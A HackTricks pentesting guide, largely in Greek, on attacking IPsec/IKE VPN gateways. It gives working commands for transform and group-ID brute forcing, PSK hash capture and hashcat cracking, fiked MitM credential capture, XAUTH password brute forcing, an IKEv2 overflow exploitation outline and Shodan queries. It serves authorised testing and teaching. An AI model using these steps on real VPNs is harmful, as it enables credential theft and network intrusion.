500/udp - Pentesting IPsec/IKE VPN
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
IPsec αναγνωρίζεται ευρέως ως η κύρια τεχνολογία για την ασφάλιση των επικοινωνιών μεταξύ δικτύων (LAN-to-LAN) και από απομακρυσμένους χρήστες προς την πύλη του δικτύου (remote access), λειτουργώντας ως η ραχοκοκαλιά για τις enterprise VPN λύσεις.
Η δημιουργία μιας security association (SA) μεταξύ δύο σημείων διαχειρίζεται από το IKE, το οποίο λειτουργεί υπό την ομπρέλα του ISAKMP, ένα πρωτόκολλο σχεδιασμένο για την αυθεντικοποίηση και την ανταλλαγή κλειδιών. Αυτή η διαδικασία εξελίσσεται σε αρκετές φάσεις:
- Phase 1: Δημιουργείται ένα ασφαλές κανάλι μεταξύ δύο endpoints. Αυτό επιτυγχάνεται μέσω της χρήσης ενός Pre-Shared Key (PSK) ή πιστοποιητικών, χρησιμοποιώντας είτε main mode, το οποίο περιλαμβάνει τρία ζεύγη μηνυμάτων, είτε aggressive mode.
- Phase 1.5: Παρόλο που δεν είναι υποχρεωτική, αυτή η φάση, γνωστή ως Extended Authentication Phase, επαληθεύει την ταυτότητα του χρήστη που προσπαθεί να συνδεθεί απαιτώντας username και password.
- Phase 2: Αυτή η φάση αφιερώνεται στη διαπραγμάτευση των παραμέτρων για την ασφάλιση των δεδομένων με ESP και AH. Επιτρέπει τη χρήση αλγορίθμων διαφορετικών από αυτούς της Phase 1 για να εξασφαλιστεί το Perfect Forward Secrecy (PFS), ενισχύοντας την ασφάλεια.
Προεπιλεγμένη θύρα: 500/udp
Συνήθως επίσης εκτεθειμένη: 4500/udp (NAT Traversal)
Ανακαλύψτε την υπηρεσία χρησιμοποιώντας nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Εύρεση μιας έγκυρης μετατροπής
Η διαμόρφωση του IPSec μπορεί να ρυθμιστεί ώστε να αποδέχεται μόνο μία ή λίγες μετατροπές. Μια μετατροπή είναι ένας συνδυασμός τιμών. Each transform περιέχει έναν αριθμό attributes όπως DES ή 3DES ως τον encryption algorithm, SHA ή MD5 ως τον integrity algorithm, ένα pre-shared key ως τον authentication type, Diffie-Hellman 1 ή 2 ως τον distribution algorithm για το κλειδί και 28800 δευτερόλεπτα ως το lifetime.
Έτσι, το πρώτο πράγμα που πρέπει να κάνετε είναι να βρείτε μια έγκυρη μετατροπή, ώστε ο server να μιλήσει μαζί σας. Για αυτό μπορείτε να χρησιμοποιήσετε το εργαλείο ike-scan. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with eight transforms inside it.
Ανάλογα με την απάντηση μπορείτε να αποκτήσετε κάποιες πληροφορίες σχετικά με το endpoint:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Όπως βλέπετε στην προηγούμενη απάντηση, υπάρχει ένα πεδίο με όνομα AUTH με την τιμή PSK. Αυτό σημαίνει ότι το vpn έχει ρυθμιστεί χρησιμοποιώντας preshared key (και αυτό είναι πραγματικά καλό για έναν pentester).
Η τιμή της τελευταίας γραμμής είναι επίσης πολύ σημαντική:
- 0 returned handshake; 0 returned notify: Αυτό σημαίνει ότι ο στόχος δεν είναι IPsec gateway.
- 1 returned handshake; 0 returned notify: Αυτό σημαίνει ότι ο στόχος είναι ρυθμισμένος για IPsec και είναι πρόθυμος να πραγματοποιήσει IKE negotiation, και είτε ένα είτε περισσότερα από τα transforms που πρότεινες είναι αποδεκτά (ένα valid transform θα εμφανιστεί στην έξοδο).
- 0 returned handshake; 1 returned notify: Οι VPN gateways απαντούν με ένα notify μήνυμα όταν κανένα από τα transforms δεν είναι αποδεκτό (αν και μερικές gateways δεν το κάνουν, οπότε σε αυτή την περίπτωση πρέπει να γίνουν περαιτέρω αναλύσεις και να δοκιμαστεί μια αναθεωρημένη πρόταση).
Έτσι, σε αυτή την περίπτωση έχουμε ήδη ένα valid transformation αλλά αν βρίσκεστε στην 3η περίπτωση, τότε χρειάζεται να brute-force λίγο για να βρείτε ένα valid transformation:
Πρώτα απ’ όλα χρειάζεται να δημιουργήσετε όλες τις δυνατές transformations:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
Και μετά brute-force το καθένα χρησιμοποιώντας ike-scan (αυτό μπορεί να πάρει αρκετά λεπτά):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Εάν το brute-force δεν απέδωσε, ίσως ο διακομιστής ανταποκρίνεται χωρίς handshakes ακόμη και σε valid transforms. Τότε μπορείτε να δοκιμάσετε το ίδιο brute-force αλλά χρησιμοποιώντας aggressive mode:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Ελπίζουμε ότι μια έγκυρη μετατροπή θα επιστραφεί.
Μπορείτε να δοκιμάσετε την same attack χρησιμοποιώντας iker.py.
Μπορείτε επίσης να δοκιμάσετε να κάνετε brute force στις μετατροπές με ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
Σε DH Group: 14 = 2048-bit MODP και 15 = 3072-bit
**2 = HMAC-SHA = SHA1 (σε αυτή την περίπτωση). Η μορφή του --trans είναι $Enc,$Hash,$Auth,$DH`
Cisco υποδεικνύει να αποφεύγετε τη χρήση των DH groups 1 και 2 επειδή δεν είναι αρκετά ισχυρές. Οι ειδικοί πιστεύουν ότι χώρες με πολλούς πόρους μπορούν εύκολα να σπάσουν την κρυπτογράφηση των δεδομένων που χρησιμοποιούν αυτές τις αδύναμες ομάδες. Αυτό πραγματοποιείται με τη χρήση μιας ειδικής μεθόδου που τις προετοιμάζει για γρήγορο cracking. Παρότι κοστίζει πολύ για να στηθεί, επιτρέπει σε αυτές τις ισχυρές χώρες να διαβάζουν τα κρυπτογραφημένα δεδομένα σε πραγματικό χρόνο εάν χρησιμοποιούν μια ομάδα που δεν είναι ισχυρή (όπως 1,024-bit ή μικρότερη).
Server fingerprinting
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε ike-scan για να προσπαθήσετε να ανακαλύψετε τον κατασκευαστή της συσκευής. Το εργαλείο στέλνει μια αρχική πρόταση και σταματά την αναπαραγωγή. Στη συνέχεια, θα αναλύσει τη διαφορά χρόνου μεταξύ των ληφθέντων μηνυμάτων από τον server και του αντίστοιχου προτύπου απόκρισης — έτσι ο pentester μπορεί επιτυχώς να fingerprint τον κατασκευαστή του VPN gateway. Επιπλέον, κάποιοι VPN servers θα χρησιμοποιήσουν το προαιρετικό Vendor ID (VID) payload με IKE.
Καθορίστε την έγκυρη μετατροπή αν χρειάζεται (χρησιμοποιώντας –trans)
Εάν το IKE ανακαλύψει ποιος είναι ο κατασκευαστής, θα τον εμφανίσει:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Αυτό μπορεί επίσης να επιτευχθεί με το nmap script ike-version
Ειδικό για IKEv2: WatchGuard Vendor ID version fingerprinting
Ορισμένοι daemons IKEv2 περιλαμβάνουν μη-τυπικά Vendor ID payloads στην απάντηση IKE_SA_INIT. Το WatchGuard Fireware OS κωδικοποιεί την έκδοση/build της συσκευής απευθείας μέσα στο VID, επιτρέποντας single-packet, pre-auth fingerprinting.
- Transport: UDP/500 (και UDP/4500 για NAT-T)
- Packet: Η απάντηση IKE_SA_INIT περιέχει ένα ή περισσότερα Vendor ID payloads
- WatchGuard format: 32-byte hash ακολουθούμενο από base64 που αποκωδικοποιείται σε π.χ.
VN=12.11.3 BN=719894
Παράδειγμα raw bytes από ένα WatchGuard VID payload (τα τελευταία 12 bytes είναι base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
Γρήγορη εξαγωγή στο shell όταν έχετε το base64 tail:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
Σημειώσεις
- Αυτό δεν αποτελεί μέρος οποιουδήποτε IKEv2 RFC. Θεωρήστε το ως ιδιομορφία του κατασκευαστή για ταχεία αποτύπωση/σάρωση εκτεθειμένων/ευάλωτων εκδόσεων Fireware OS.
- Απαιτείται μόνο να προκαλέσετε μία απάντηση IKE_SA_INIT· δεν απαιτείται authentication.
Εύρεση του σωστού ID (όνομα ομάδας)
Για να έχετε δικαίωμα να καταγράψετε το hash χρειάζεστε μια έγκυρη transformation που υποστηρίζει Aggressive mode και το σωστό ID (όνομα ομάδας). Πιθανότατα δεν θα γνωρίζετε το έγκυρο όνομα ομάδας, οπότε θα χρειαστεί να το brute-force.
Για να το κάνετε, θα σας πρότεινα 2 μεθόδους:
Bruteforcing ID with ike-scan
Πρώτα απ’ όλα δοκιμάστε να κάνετε ένα αίτημα με ψεύτικο ID προσπαθώντας να συλλέξετε το hash (“-P”):
ike-scan -P -M -A -n fakeID <IP>
Αν no hash is returned, τότε πιθανότατα αυτή η μέθοδος του brute forcing θα λειτουργήσει. Αν κάποιο hash επιστραφεί, αυτό σημαίνει ότι ένα fake hash θα σταλεί ως απάντηση για ένα fake ID, οπότε αυτή η μέθοδος δεν θα είναι αξιόπιστη για να brute-force το ID. Για παράδειγμα, ένα fake hash μπορεί να επιστραφεί (αυτό συμβαίνει σε σύγχρονες εκδόσεις):
.png)
Αλλά όπως είπα, αν δεν επιστραφεί κάποιο hash, τότε θα πρέπει να προσπαθήσετε να brute-force κοινά ονόματα ομάδων χρησιμοποιώντας ike-scan.
Αυτό το script θα προσπαθήσει να brute-force πιθανά IDs και θα επιστρέψει τα IDs όπου επιστρέφεται ένα έγκυρο handshake (αυτό θα είναι ένα έγκυρο group name).
Αν έχετε ανακαλύψει κάποια συγκεκριμένη μετατροπή, προσθέστε την στην εντολή ike-scan. Και αν έχετε ανακαλύψει πολλές μετατροπές, μη διστάσετε να προσθέσετε ένα νέο loop για να τις δοκιμάσετε όλες (πρέπει να τις δοκιμάσετε όλες μέχρι μία να λειτουργήσει σωστά).
Μπορείτε να χρησιμοποιήσετε το dictionary of ikeforce ή the one in seclists με κοινά ονόματα ομάδων για να τα brute-force:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Or use this dict (is a combination of the other 2 dicts without repetitions):
Bruteforcing ID με Iker
iker.py also uses ike-scan to bruteforce possible group names. Ακολουθεί τη δική του μέθοδο για να βρει ένα έγκυρο ID με βάση την έξοδο του ike-scan.
Bruteforcing ID με ikeforce
ikeforce.py is a tool that can be used to brute force IDs also. Αυτό το εργαλείο θα προσπαθήσει να εκμεταλλευτεί διάφορες ευπάθειες που μπορούν να χρησιμοποιηθούν για να διακρίνουν ένα έγκυρο από ένα μη έγκυρο ID (μπορεί να έχει ψευδώς θετικά και ψευδώς αρνητικά, γι’ αυτό προτιμώ, αν είναι δυνατόν, τη μέθοδο του ike-scan).
By default ikeforce will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use.
- The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
- The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
- The third method consist on searching for “INVALID-ID-INFORMATION” in response to incorrect ID.
- Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.
Obviously, the goal of brute forcing the id is to get the PSK when you have a valid id. Then, with the id and PSK you will have to bruteforce the XAUTH (if it is enabled).
If you have discovered an specific transformation add it in the ikeforce command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(Από το βιβλίο Network Security Assessment: Know Your Network): Είναι επίσης δυνατό να αποκτηθούν έγκυρα ονόματα χρήστη με το sniffing της σύνδεσης μεταξύ του VPN client και του server, καθώς το πρώτο aggressive mode packet που περιέχει το client ID αποστέλλεται σε απλό κείμενο
.png)
Aggressive Mode identity leakage
Το Aggressive Mode πρέπει να στείλει το ID νωρίς ώστε το gateway να επιλέξει το σωστό PSK όταν υπάρχουν multiple groups/users. Αυτό σημαίνει ότι η identity is exposed pre-auth, σε αντίθεση με το Main Mode όπου κρυπτογραφείται σε μεταγενέστερα packets. Μπορείς να την εξάγεις γρήγορα:
ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)
Αν το Aggressive Mode είναι ενεργοποιημένο, καταγράψτε ένα crackable PSK handshake και crack it offline (hashcat mode 5400):
ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt
Τα ανακτημένα PSKs συχνά επαναχρησιμοποιούνται ως διαπιστευτήρια για άλλες υπηρεσίες (SSH, VPN client auth), οπότε δοκιμάστε τα απέναντι σε εκτεθειμένες υπηρεσίες.
Καταγραφή & cracking του hash
Τέλος, αν έχετε βρει μια έγκυρη μετατροπή και το όνομα της ομάδας και αν το aggressive mode είναι επιτρεπτό, τότε μπορείτε πολύ εύκολα να αποκτήσετε το crackable hash:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Το hash θα αποθηκευτεί μέσα στο hash.txt.
Μπορείτε να χρησιμοποιήσετε psk-crack, john (χρησιμοποιώντας ikescan2john.py) και hashcat για να crack το hash:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE σε συνδυασμό με ένα Pre-Shared Key (PSK) χρησιμοποιείται συνήθως για σκοπούς ομαδικής πιστοποίησης. Αυτή η μέθοδος ενισχύεται από XAuth (Extended Authentication), που εισάγει ένα επιπλέον επίπεδο πιστοποίησης χρήστη. Τέτοια πιστοποίηση συνήθως αξιοποιεί υπηρεσίες όπως Microsoft Active Directory, RADIUS, ή παρόμοια συστήματα.
Με τη μετάβαση στο IKEv2, παρατηρείται μια αξιοσημείωτη αλλαγή όπου το EAP (Extensible Authentication Protocol) χρησιμοποιείται αντί του XAuth για την πιστοποίηση των χρηστών. Αυτή η αλλαγή υπογραμμίζει μια εξέλιξη στις πρακτικές πιστοποίησης εντός των πρωτοκόλλων ασφαλούς επικοινωνίας.
Τοπικό δικτυακό MitM για καταγραφή credentials
Έτσι μπορείτε να καταγράψετε τα δεδομένα του login χρησιμοποιώντας fiked και να δείτε αν υπάρχει κάποιο προεπιλεγμένο username (Πρέπει να ανακατευθύνετε την κίνηση IKE στο fiked για sniffing, κάτι που μπορεί να γίνει με τη βοήθεια του ARP spoofing, more info). Fiked θα λειτουργήσει ως endpoint VPN και θα καταγράψει τα XAuth credentials:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Επίσης, χρησιμοποιώντας IPSec, προσπαθήστε να εκτελέσετε μια MitM επίθεση και να μπλοκάρετε όλη την κίνηση προς τη θύρα 500. Εάν το IPSec tunnel δεν μπορέσει να εγκατασταθεί, ίσως η κίνηση αποσταλεί χωρίς κρυπτογράφηση.
Brute-forcing XAUTH username ad password with ikeforce
Για να brute force το XAUTH (όταν γνωρίζετε ένα έγκυρο group name id και το psk) μπορείτε να χρησιμοποιήσετε ένα username ή μια λίστα usernames και μια λίστα passwords:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Έτσι, ikeforce θα προσπαθήσει να συνδεθεί χρησιμοποιώντας κάθε συνδυασμό username:password.
Αν βρήκατε έναν ή περισσότερους έγκυρους transforms απλώς χρησιμοποιήστε τους όπως στα προηγούμενα βήματα.
Πιστοποίηση με IPSEC VPN
Στο Kali, VPNC χρησιμοποιείται για την εγκαθίδρυση IPsec tunnels. Τα profiles πρέπει να βρίσκονται στον κατάλογο /etc/vpnc/. Μπορείτε να ξεκινήσετε αυτά τα profiles χρησιμοποιώντας την εντολή vpnc.
Οι παρακάτω εντολές και ρυθμίσεις απεικονίζουν τη διαδικασία ρύθμισης μιας σύνδεσης VPN με το VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
Σε αυτή τη ρύθμιση:
- Αντικαταστήστε
[VPN_GATEWAY_IP]με την πραγματική διεύθυνση IP της πύλης VPN. - Αντικαταστήστε
[VPN_CONNECTION_ID]με το αναγνωριστικό της σύνδεσης VPN. - Αντικαταστήστε
[VPN_GROUP_SECRET]με το VPN’s group secret. - Αντικαταστήστε
[VPN_USERNAME]και[VPN_PASSWORD]με τα διαπιστευτήρια πιστοποίησης του VPN. [PID]συμβολίζει το process ID που θα ανατεθεί ότανvpncξεκινήσει.
Βεβαιωθείτε ότι χρησιμοποιούνται πραγματικές, ασφαλείς τιμές για να αντικαταστήσετε τους δείκτες θέσης κατά τη διαμόρφωση του VPN.
Σημειώσεις εκμετάλλευσης IKEv2: pre-auth IDi/CERT processing bugs
Οι σύγχρονες συσκευές VPN συχνά εκθέτουν το IKEv2 στο UDP/500 (και στο UDP/4500 για NAT-T). Ένα κοινό πεδίο επίθεσης πριν την πιστοποίηση είναι η ανάλυση των payloads Identification (IDi) και Certificate κατά τη διάρκεια του IKE_SA_AUTH.
High-level exploitation flow when a vulnerable IKEv2 parser exists:
- Send a valid IKE_SA_INIT to negotiate transforms and complete Diffie–Hellman.
- Follow with IKE_SA_AUTH carrying an IDi that triggers the bug (e.g., an oversized Identification copied into a fixed-size stack buffer before certificate validation).
- Resulting memory corruption can yield saved-register and return-address control.
- With NX enabled but other mitigations missing (no PIE/canaries), build a ROP chain to call mprotect on a stack page and then pivot execution to injected shellcode or to a resident interpreter (e.g., /usr/bin/python3) if no /bin/sh is available.
Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
Πρακτικές συμβουλές
- Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
- Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
- If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.
Reference Material
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
References
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


